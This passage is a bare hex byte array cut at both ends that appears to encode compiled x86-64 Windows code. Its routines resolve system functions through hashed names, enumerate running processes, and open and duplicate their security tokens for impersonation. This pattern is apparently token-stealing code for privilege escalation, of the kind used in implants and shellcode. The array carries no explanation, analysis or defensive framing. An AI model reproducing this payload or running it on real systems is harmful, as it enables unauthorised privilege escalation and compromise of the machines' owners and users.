x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x41,0xB9,0x08,0x00,0x00,0x00,0x4C,0x8D,0x45,0x10,0xBA,0x05,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0x01,0x26,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0x28,0x01,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xC0,0x00,0x00,0x00,0x48,0x89,0x95,0xC8,0x00,0x00,0x00,0x44,0x89,0x85,0xD0,0x00,0x00,0x00,0x4C,0x89,0x8D,0xD8,0x00,0x00,0x00,0xC7,0x85,0x9C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x68,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x88,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0xC7,0x45,0x4C,0x00,0x10,0x00,0x00,0x8B,0x45,0x4C,0x89,0x85,0x84,0x00,0x00,0x00,0x48,0xC7,0x45,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x38,0x00,0x00,0x00,0x00,0xC7,0x85,0x80,0x00,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0x20,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x28,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xF0,0x0F,0x11,0x45,0x00,0x0F,0x11,0x45,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xF3,0x8E,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3A,0xE1,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xA4,0x97,0x06,0x9A,0x48,0x89,0xC1,0xE8,0x48,0xDF,0xFF,0xFF,0x48,0x89,0x45,0x78,0x48,0x83,0x7D,0x78,0x00,0x0F,0x84,0x19,0x04,0x00,0x00,0x48,0x8D,0x55,0x68,0x48,0x8B,0x85,0xC0,0x00,0x00,0x00,0x4C,0x8B,0x45,0x78,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x75,0x05,0xE9,0x00,0x04,0x00,0x00,0x8B,0x45,0x4C,0x89,0x85,0x84,0x00,0x00,0x00,0x8B,0x45,0x4C,0x89,0xC3,0x48,0x8B,0x05,0x6B,0x09,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x67,0x09,0x01,0x00,0xFF,0xD0,0x48,0x89,0x85,0x90,0x00,0x00,0x00,0x48,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x0F,0x84,0xB9,0x03,0x00,0x00,0x8B,0x55,0x4C,0x48,0x8D,0x4D,0x4C,0x48,0x8B,0x85,0x90,0x00,0x00,0x00,0x49,0x89,0xC9,0x41,0x89,0xD0,0x48,0x89,0xC2,0xB9,0x05,0x00,0x00,0x00,0xE8,0x44,0x21,0x00,0x00,0x89,0x85,0x80,0x00,0x00,0x00,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x79,0x78,0x48,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x4C,0x8B,0x95,0x84,0x00,0x00,0x00,0x48,0x8B,0x85,0x90,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF1,0x66,0x00,0x00,0x48,0x8B,0x05,0xE2,0x08,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x95,0x90,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xDF,0x08,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x81,0xBD,0x80,0x00,0x00,0x00,0x23,0x00,0x00,0xC0,0x0F,0x84,0x2A,0xFF,0xFF,0xFF,0x81,0xBD,0x80,0x00,0x00,0x00,0x04,0x00,0x00,0xC0,0x0F,0x84,0x1A,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x0F,0x88,0x06,0x03,0x00,0x00,0x48,0x8B,0x85,0x90,0x00,0x00,0x00,0x48,0x89,0x85,0x88,0x00,0x00,0x00,0xC7,0x45,0xF0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x18,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x0C,0x00,0x00,0x00,0xC7,0x45,0xB8,0x02,0x00,0x00,0x00,0xC6,0x45,0xBC,0x00,0xC6,0x45,0xBD,0x00,0x48,0x8D,0x45,0xB4,0x48,0x89,0x45,0xE8,0x48,0x8B,0x85,0x88,0x00,0x00,0x00,0x48,0x8B,0x40,0x50,0x48,0x89,0x45,0x20,0x48,0x8D,0x4D,0x20,0x48,0x8D,0x55,0xF0,0x48,0x8D,0x45,0x60,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7F,0x1B,0x00,0x00,0x89,0x85,0x80,0x00,0x00,0x00,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x0F,0x88,0xDD,0x01,0x00,0x00,0x48,0x8B,0x45,0x60,0x48,0x8D,0x55,0x58,0x49,0x89,0xD0,0xBA,0x0A,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB6,0x1C,0x00,0x00,0x89,0x85,0x80,0x00,0x00,0x00,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x0F,0x88,0x9E,0x01,0x00,0x00,0x48,0x8B,0x45,0x58,0x48,0x8D,0x4D,0xC0,0x48,0x8D,0x55,0x50,0x48,0x89,0x54,0x24,0x28,0xC7,0x44,0x24,0x20,0x02,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0xBA,0x00,0x00,0x00,0x02,0x48,0x89,0xC1,0xE8,0x47,0x22,0x00,0x00,0x89,0x85,0x80,0x00,0x00,0x00,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x0F,0x88,0x48,0x01,0x00,0x00,0x48,0x8B,0x45,0x50,0x48,0x8D,0x55,0x40,0x48,0x89,0xC1,0xE8,0xE7,0x05,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x0F,0x84,0x0E,0x01,0x00,0x00,0x48,0x8B,0x45,0x50,0x48,0x8D,0x55,0x38,0x48,0x89,0xC1,0xE8,0xBC,0x0B,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x0F,0x84,0xD9,0x00,0x00,0x00,0x48,0x8B,0x55,0x68,0x48,0x8B,0x45,0x40,0x48,0x89,0xC1,0xE8,0x4A,0x09,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x74,0x6A,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x50,0x48,0x8D,0x55,0xB0,0x48,0x89,0xC1,0xE8,0x1C,0x0A,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x74,0x4A,0x8B,0x45,0xB0,0x85,0xC0,0x74,0x43,0x48,0x8B,0x45,0x50,0x8B,0x8D,0xD0,0x00,0x00,0x00,0x48,0x8B,0x95,0xC8,0x00,0x00,0x00,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xFC,0x2D,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x74,0x18,0x48,0x8B,0x55,0x50,0x48,0x8B,0x85,0xD8,0x00,0x00,0x00,0x48,0x89,0x10,0xC7,0x85,0x9C,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0x38,0x48,0x85,0xC0,0x74,0x4D,0x48,0x8B,0x45,0x38,0x48,0x89,0xC1,0xE8,0xDA,0x64,0x00,0x00,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0x38,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x72,0x64,0x00,0x00,0x48,0x8B,0x5D,0x38,0x48,0x8B,0x05,0x5F,0x06,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x63,0x06,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0x38,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x40,0x48,0x89,0xC1,0x48,0x8B,0x05,0x6B,0x06,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0x40,0x00,0x00,0x00,0x00,0x83,0xBD,0x9C,0x00,0x00,0x00,0x00,0x75,0x14,0x48,0x8B,0x45,0x50,0x48,0x89,0xC1,0xE8,0xCA,0x1A,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x58,0x48,0x89,0xC1,0xE8,0xB6,0x1A,0x00,0x00,0x48,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x60,0x48,0x89,0xC1,0xE8,0xA2,0x1A,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x83,0xBD,0x9C,0x00,0x00,0x00,0x00,0x75,0x24,0x48,0x8B,0x85,0x88,0x00,0x00,0x00,0x8B,0x00,0x85,0xC0,0x74,0x1A,0x48,0x8B,0x85,0x88,0x00,0x00,0x00,0x8B,0x00,0x89,0xC0,0x48,0x01,0x85,0x88,0x00,0x00,0x00,0xE9,0xB5,0xFD,0xFF,0xFF,0x90,0xEB,0x01,0x90,0x83,0xBD,0x9C,0x00,0x00,0x00,0x00,0x75,0x29,0x48,0x8D,0x05,0xE3,0x8A,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3B,0xBA,0xFF,0xFF,0x48,0x8D,0x05,0x05,0x8B,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2C,0xBA,0xFF,0xFF,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0x68,0x48,0x85,0xC0,0x74,0x10,0x48,0x8B,0x45,0x68,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA1,0x05,0x01,0x00,0xFF,0xD0,0x48,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x55,0x48,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x4B,0x8B,0x45,0x4C,0x89,0xC2,0x48,0x8B,0x85,0x90,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3F,0x63,0x00,0x00,0x48,0x8B,0x05,0x30,0x05,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x95,0x90,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x2D,0x05,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0x9C,0x00,0x00,0x00,0x48,0x81,0xC4,0x28,0x01,0x00,0x00,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xFB,0x89,0x00,0x00,0x48,0x89,0xC1,0xE8,0x42,0xDC,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x22,0x96,0xBC,0x93,0x48,0x89,0xC1,0xE8,0x50,0xDA,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x0C,0x48,0x8B,0x45,0xF0,0xFF,0xD0,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xE0,0x00,0x00,0x00,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0x0F,0x11,0x45,0xC0,0x48,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x60,0xFF,0xFF,0xFF,0x0F,0x11,0x85,0x70,0xFF,0xFF,0xFF,0x0F,0x11,0x45,0x80,0x48,0x8B,0x45,0x18,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0xC7,0x45,0xA0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x85,0x60,0xFF,0xFF,0xFF,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x80,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x88,0x00,0x00,0x00,0x00,0xC7,0x45,0x94,0x0C,0x00,0x00,0x00,0xC7,0x45,0x98,0x02,0x00,0x00,0x00,0xC6,0x45,0x9C,0x00,0xC6,0x45,0x9D,0x00,0x48,0x8D,0x45,0x94,0x48,0x89,0x45,0x88,0x8B,0x45,0x10,0x48,0x89,0x45,0xD0,0x48,0x8D,0x05,0x4A,0x88,0x00,0x00,0x48,0x89,0x85,0x50,0xFF,0xFF,0xFF,0x48,0x8D,0x05,0x64,0x88,0x00,0x00,0x48,0x89,0x85,0x58,0xFF,0xFF,0xFF,0x48,0x8D,0x85,0x50,0xFF,0xFF,0xFF,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x02,0x00,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0xE8,0x89,0x2A,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x0F,0x84,0xAA,0x00,0x00,0x00,0x48,0x8D,0x4D,0xD0,0x48,0x8D,0x55,0xA0,0x48,0x8D,0x45,0xF0,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC4,0x16,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x0F,0x88,0x81,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x0A,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x01,0x18,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x63,0x48,0x8B,0x45,0xE8,0x48,0x8D,0x8D,0x60,0xFF,0xFF,0xFF,0x48,0x8D,0x55,0xE0,0x48,0x89,0x54,0x24,0x28,0xC7,0x44,0x24,0x20,0x02,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0xBA,0x00,0x00,0x00,0x02,0x48,0x89,0xC1,0xE8,0x99,0x1D,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x2B,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC1,0xE8,0xB3,0xF7,0xFF,0xFF,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x74,0x19,0x48,0x8B,0x55,0xE0,0x48,0x8B,0x45,0x18,0x48,0x89,0x10,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x22,0x17,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x0D,0x17,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x15,0x48,0x8B,0x45,0xE0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC1,0xE8,0xF2,0x16,0x00,0x00,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xE0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x8D,0x05,0xED,0x86,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x8D,0x05,0x8A,0x87,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x8D,0x55,0xE0,0x48,0x8B,0x45,0x10,0x41,0xB9,0x02,0x00,0x00,0x00,0x49,0x89,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0xA7,0x87,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0B,0xF6,0xFF,0xFF,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0x1E,0x48,0x8D,0x05,0xA1,0x87,0x00,0x00,0x48,0x89,0xC1,0xE8,0x73,0xB6,0xFF,0xFF,0x48,0x8D,0x05,0x3D,0x87,0x00,0x00,0x48,0x89,0xC1,0xE8,0x64,0xB6,0xFF,0xFF,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC2,0x48,0x8D,0x05,0x79,0x87,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAD,0xF5,0xFF,0xFF,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0x1E,0x48,0x8D,0x05,0x75,0x87,0x00,0x00,0x48,0x89,0xC1,0xE8,0x15,0xB6,0xFF,0xFF,0x48,0x8D,0x05,0xDF,0x86,0x00,0x00,0x48,0x89,0xC1,0xE8,0x06,0xB6,0xFF,0xFF,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x68,0x48,0x8D,0x6C,0x24,0x60,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x08,0x00,0x00,0x00,0x8B,0x45,0xD8,0x89,0x45,0xEC,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x01,0x00,0x00,0xC0,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x41,0x86,0x00,0x00,0x48,0x89,0xC1,0xE8,0x88,0xD8,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x7F,0xE4,0xDE,0xE9,0x48,0x89,0xC1,0xE8,0x96,0xD6,0xFF,0xFF,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x1D,0x01,0x00,0x00,0x8B,0x45,0xD8,0x89,0x45,0xEC,0x8B,0x45,0xD8,0x89,0xC3,0x48,0x8B,0x05,0xDF,0x00,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xDB,0x00,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xE9,0x00,0x00,0x00,0x44,0x8B,0x45,0xD8,0x48,0x8B,0x4D,0xF0,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xD8,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1B,0x1B,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x79,0x56,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xEC,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x73,0x5E,0x00,0x00,0x48,0x8B,0x05,0x64,0x00,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x64,0x00,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xE8,0x23,0x00,0x00,0xC0,0x0F,0x84,0x44,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xE8,0x00,0x78,0x5E,0xBA,0x44,0x00,0x00,0x00,0xB9,0x40,0x00,0x00,0x00,0x48,0x8B,0x05,0x4B,0x00,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0x28,0x48,0x89,0x02,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x3B,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x10,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x4C,0x8B,0x4D,0xE0,0x49,0x89,0xD0,0x48,0x89,0xC2,0xB9,0x44,0x00,0x00,0x00,0x41,0xFF,0xD1,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x15,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x49,0x48,0x83,0x7D,0xF0,0x00,0x74,0x42,0x8B,0x45,0xD8,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA8,0x5D,0x00,0x00,0x48,0x8B,0x05,0x99,0xFF,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x99,0xFF,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x2A,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x1E,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x8C,0xFF,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x45,0x28,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x68,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x3F,0x84,0x00,0x00,0x48,0x89,0xC1,0xE8,0x86,0xD6,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x4F,0xB3,0x89,0x2E,0x48,0x89,0xC1,0xE8,0x94,0xD4,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5F,0x48,0x8D,0x55,0xE8,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x7F,0xFD,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3F,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x55,0x18,0x4C,0x8B,0x45,0xF8,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xF4,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0x48,0x8B,0x05,0xE1,0xFE,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x01,0x00,0x00,0xC0,0x48,0x8D,0x45,0xF0,0x49,0x89,0xC0,0xBA,0x08,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x59,0x13,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x76,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x55,0xE8,0x48,0x89,0xC1,0xE8,0xEF,0xFE,0xFF,0xFF,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xD3,0x12,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x42,0x48,0x8B,0x45,0xE8,0x48,0x8D,0x15,0xB1,0x83,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA3,0xFE,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x10,0x89,0x10,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0x48,0x8B,0x05,0x0D,0xFE,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xB3,0x82,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFA,0xD4,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x4F,0xB3,0x89,0x2E,0x48,0x89,0xC1,0xE8,0x08,0xD3,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x7